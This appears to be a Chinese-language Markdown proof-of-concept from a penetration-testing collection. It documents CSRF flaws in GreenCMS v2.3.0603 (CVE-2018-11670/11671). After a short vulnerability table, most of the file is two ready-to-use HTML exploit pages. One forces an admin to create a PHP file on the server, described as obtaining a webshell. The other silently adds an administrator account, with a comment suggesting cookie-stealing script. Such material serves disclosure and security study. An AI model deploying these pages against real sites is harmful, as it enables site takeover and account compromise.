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https://github.com/Mr-xn/Penetration_Testing_POC.git
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61 lines
3.2 KiB
Markdown
61 lines
3.2 KiB
Markdown
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### 漏洞简介
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|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
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--------|--------|---------|--------|-------|----|------|
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|GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户|2018-06-02|惜潮|[https://github.com/GreenCMS/GreenCMS](https://github.com/GreenCMS/GreenCMS) | [https://github.com/GreenCMS/GreenCMS](https://github.com/GreenCMS/GreenCMS) |v2.3.0603| [CVE-2018-11670](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670)/[CVE-2018-11671](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671)|
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#### 漏洞概述
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> 恶意攻击者可以精心伪造一个Html页面 从而获取网站webshell。GreenCMS是一个在github上开源的CMS系统，漏洞发现者已经将漏洞信息通过[issues](https://github.com/GreenCMS/GreenCMS/issues/108)/[issues](https://github.com/GreenCMS/GreenCMS/issues/109)告知作者。
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### POC实现代码如下：
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> 从CSRF到get webshell 的exp代码如下：
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``` html
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<span style="font-size:18px;"><!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8">
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<title>csrf测试</title>
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</head>
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<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
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<!-- 下面的是生成文件名为xc.php的脚本文件 路径 127.0.0.1/Upload/xc.php -->
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<script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
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<input type="hidden" name="cmd" value="put">
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<input type="hidden" name="target" value="l1_eGMucGhw">
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<input type="hidden" name="content" value="<?php phpinfo();?>">
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<!-- 下面的是提交表单 将content中的命令写入脚本内 -->
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<button type="submit" value="Submit">WebShell</button>
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</form>
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</body>
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</html></span>
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```
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> 从CSRF到增加管理员 的exp代码如下：
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``` html
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<span style="font-size:18px;"><!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8">
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<title>csrf测试</title>
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</head>
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<body>
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<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">
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<input type="hidden" name="user_id0" value="1">
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<input type="hidden" name="user_login" value="test1"> <!--在这里可以添加JS脚本用于获取cookies csrf+xss-->
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<input type="hidden" name="password" value="test1">
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<input type="hidden" name="rpassword" value="test1">
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<input type="hidden" name="user_nicename" value="123">
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<input type="hidden" name="user_email" value="123%40Qq.com">
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<input type="hidden" name="user_url" value="www.baidu.com">
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<input type="hidden" name="user_intro" value="test">
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<input type="hidden" name="user_status" value="1">
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<input type="hidden" name="role_id" value="1">
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<button type="submit" value="Submit">添加管理员</button>
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</form>
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</body>
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</html></span>
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```
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